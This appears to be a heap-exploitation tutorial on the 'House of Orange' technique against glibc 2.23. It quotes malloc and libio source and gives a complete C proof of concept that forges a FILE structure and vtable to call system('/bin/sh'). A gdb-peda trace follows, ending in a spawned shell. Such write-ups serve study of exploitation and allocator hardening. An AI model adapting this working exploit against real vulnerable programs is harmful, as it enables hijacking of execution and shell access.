Excuse the ads! We need some help to keep our site up.

List

Conditions

Exploit plan

Explanation of vulnerability

Add Free chunk to Unsorted bin

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

Unsorted bin attack

Call _IO_flush_all_lockp()

  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

_IO_flush_all_lockp()

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

Struct _IO_FILE_plus

extern struct _IO_FILE_plus *_IO_list_all;


struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

struct _IO_FILE

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_jump_t

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

struct _IO_wide_data *_wide_data

#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
struct _IO_wide_data *_wide_data
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

Example

Files

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    p1 = malloc(0x400-16);

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;
    top[24] = 1;
    top[21] = 2;
    top[22] = 3;
    top[20] = (size_t) &top[18];
    top[15] = (size_t) &winner;
    top[27] = (size_t ) &top[12];
    
    malloc(10);

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

Exploit flow

Debugging

gdb-peda$ b *0x4005e3
Breakpoint 1 at 0x4005e3
gdb-peda$ b *0x40060e
Breakpoint 2 at 0x40060e
gdb-peda$ b *0x4006d9
Breakpoint 3 at 0x4006d9
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange


Breakpoint 1, 0x00000000004005e3 in main ()
gdb-peda$ ni
0x00000000004005e8 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ x/2gx 0x602010 - 0x10
0x602000:	0x0000000000000000	0x0000000000000401
gdb-peda$ x/2gx 0x602000 + 0x400
0x602400:	0x0000000000000000	0x0000000000020c01
gdb-peda$ 

할당 전

할당 후

top

0x602400

0x624010
unsorted bin[0]0x7ffff7dd1b780x602400
unsorted bin[1]0x7ffff7dd1b780x602400
gdb-peda$ c
Continuing.

Breakpoint 2, 0x000000000040060e in main ()
gdb-peda$ x/2gx 0x602000 + 0x400
0x602400:	0x0000000000000000	0x0000000000000c01
gdb-peda$ p main_arena.top 
$1 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ ni

0x0000000000400613 in main ()
gdb-peda$ x/2gx 0x602000 + 0x400 
0x602400: 0x0000000000000000 0x0000000000000be1 
gdb-peda$ p main_arena.top 
$4 = (mchunkptr) 0x624010
gdb-peda$ p main_arena.bins[0]
$5 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[1]
$6 = (mchunkptr) 0x602400
gdb-peda$ 
gdb-peda$ c
Continuing.
Breakpoint 3, 0x00000000004006d9 in main ()
gdb-peda$ x/30gx 0x602400
0x602400:	0x0068732f6e69622f	0x0000000000000061
0x602410:	0x00007ffff7dd1b78	0x00007ffff7dd2510
0x602420:	0x0000000000000000	0x0000000000000000
0x602430:	0x0000000000000000	0x0000000000000000
0x602440:	0x0000000000000000	0x0000000000000000
0x602450:	0x0000000000000000	0x0000000000000000
0x602460:	0x0000000000000000	0x0000000000000000
0x602470:	0x0000000000000000	0x00000000004006e5
0x602480:	0x0000000000000000	0x0000000000000000
0x602490:	0x0000000000000000	0x0000000000000000
0x6024a0:	0x0000000000602490	0x0000000000000002
0x6024b0:	0x0000000000000003	0x0000000000000000
0x6024c0:	0x0000000000000001	0x0000000000000000
0x6024d0:	0x0000000000000000	0x0000000000602460
0x6024e0:	0x0000000000000000	0x0000000000000000
gdb-peda$ p _IO_list_all
$8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ disassemble _IO_flush_all_lockp
Dump of assembler code for function _IO_flush_all_lockp:
   0x00007ffff7a89020 <+0>:	push   r15
	...
End of assembler dump.
gdb-peda$ b *0x00007ffff7a89020
Breakpoint 4 at 0x7ffff7a89020: file genops.c, line 760.
gdb-peda$ 
gdb-peda$ c
Continuing.
*** Error in `/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1': malloc(): memory corruption: 0x00007ffff7dd2520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184]
/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x4006de]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830]
/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00600000-00601000 r--p 00000000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00601000-00602000 rw-p 00001000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00602000-00645000 rw-p 00000000 00:00 0                                  [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fd5000-7ffff7fd8000 rw-p 00000000 00:00 0 
7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0 
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Breakpoint 4, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:760
760	genops.c: No such file or directory.
gdb-peda$ p _IO_list_all
$9 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[10]
$10 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[11]
$11 = (mchunkptr) 0x602400
gdb-peda$ b *_IO_flush_all_lockp+490
Breakpoint 5 at 0x7ffff7a8920a: file genops.c, line 800.
gdb-peda$ 
gdb-peda$ c
Continuing.

Breakpoint 5, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:800
800	in genops.c
gdb-peda$ x/i _IO_flush_all_lockp+490
=> 0x7ffff7a8920a <_IO_flush_all_lockp+490>:	mov    rbx,QWORD PTR [rbx+0x68]
gdb-peda$ p fp
$14 = (struct _IO_FILE *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ i r rbx
rbx            0x7ffff7dd1b78	0x7ffff7dd1b78
gdb-peda$ ni
773	in genops.c
gdb-peda$ p fp
$15 = (struct _IO_FILE *) 0x602400
gdb-peda$ i r rbx
rbx            0x602400	0x602400
gdb-peda$ b *_IO_flush_all_lockp+356
Breakpoint 6 at 0x7ffff7a89184: file genops.c, line 786.
gdb-peda$ 
gdb-peda$ c
Continuing.

Breakpoint 6, 0x7ffff7a89184 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786
786	in genops.c

gdb-peda$ x/4i 0x7ffff7a89184
=> 0x7ffff7a89184 <_IO_flush_all_lockp+356>:	mov    rax,QWORD PTR [rbx+0xd8]
   0x7ffff7a8918b <_IO_flush_all_lockp+363>:	mov    esi,0xffffffff
   0x7ffff7a89190 <_IO_flush_all_lockp+368>:	mov    rdi,rbx
   0x7ffff7a89193 <_IO_flush_all_lockp+371>:	call   QWORD PTR [rax+0x18]
gdb-peda$ i r rbx
rbx            0x602400	0x602400
gdb-peda$ x/gx 0x602400 + 0xd8
0x6024d8:	0x0000000000602460
gdb-peda$ x/s 0x602400
0x602400:	"/bin/sh"
gdb-peda$ x/gx 0x0000000000602460 + 0x18
0x602478:	0x00000000004006e5
gdb-peda$ x/i 0x4006e5
   0x4006e5 <winner>:	push   rbp
gdb-peda$ 
gdb-peda$ c
Continuing.

Breakpoint 8, 0x00007ffff7a89193 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786
786	in genops.c
gdb-peda$ ni
[New process 48247]
process 48247 is executing new program: /bin/dash
Error in re-setting breakpoint 5: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 6: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 7: No symbol table is loaded.  Use the "file" command.
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4005e3
Cannot insert breakpoint 2.
Cannot access memory at address 0x40060e
Cannot insert breakpoint 3.
Cannot access memory at address 0x4006d9
Cannot insert breakpoint 4.
Cannot access memory at address 0x7ffff7a89020
Cannot insert breakpoint 8.
Cannot access memory at address 0x7ffff7a89193

gdb-peda$
lazenca0x0@ubuntu:~/Documents/Definition/heap/HouseOfOrange$ ./orange1 
*** Error in `./orange1': malloc(): memory corruption: 0x00007fa48f8c8520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fa48f57a7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fa48f58513e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fa48f587184]
./orange1[0x4006de]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa48f523830]
./orange1[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00600000-00601000 r--p 00000000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00601000-00602000 rw-p 00001000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
0211d000-02160000 rw-p 00000000 00:00 0                                  [heap]
7fa488000000-7fa488021000 rw-p 00000000 00:00 0 
7fa488021000-7fa48c000000 ---p 00000000 00:00 0 
7fa48f2ed000-7fa48f303000 r-xp 00000000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa48f303000-7fa48f502000 ---p 00016000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa48f502000-7fa48f503000 rw-p 00015000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa48f503000-7fa48f6c3000 r-xp 00000000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7fa48f6c3000-7fa48f8c3000 ---p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7fa48f8c3000-7fa48f8c7000 r--p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7fa48f8c7000-7fa48f8c9000 rw-p 001c4000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7fa48f8c9000-7fa48f8cd000 rw-p 00000000 00:00 0 
7fa48f8cd000-7fa48f8f3000 r-xp 00000000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7fa48facf000-7fa48fad2000 rw-p 00000000 00:00 0 
7fa48faef000-7fa48faf2000 rw-p 00000000 00:00 0 
7fa48faf2000-7fa48faf3000 r--p 00025000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7fa48faf3000-7fa48faf4000 rw-p 00026000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7fa48faf4000-7fa48faf5000 rw-p 00000000 00:00 0 
7ffca3f1b000-7ffca3f3c000 rw-p 00000000 00:00 0                          [stack]
7ffca3fd1000-7ffca3fd3000 r--p 00000000 00:00 0                          [vvar]
7ffca3fd3000-7ffca3fd5000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ ls 
hell  orange1  orange1.c  peda-session-dash.txt  peda-session-orange1.txt  peda-session-test.txt  test
$ id
uid=1001(lazenca0x0) gid=1001(lazenca0x0) groups=1001(lazenca0x0)
$ 

Related information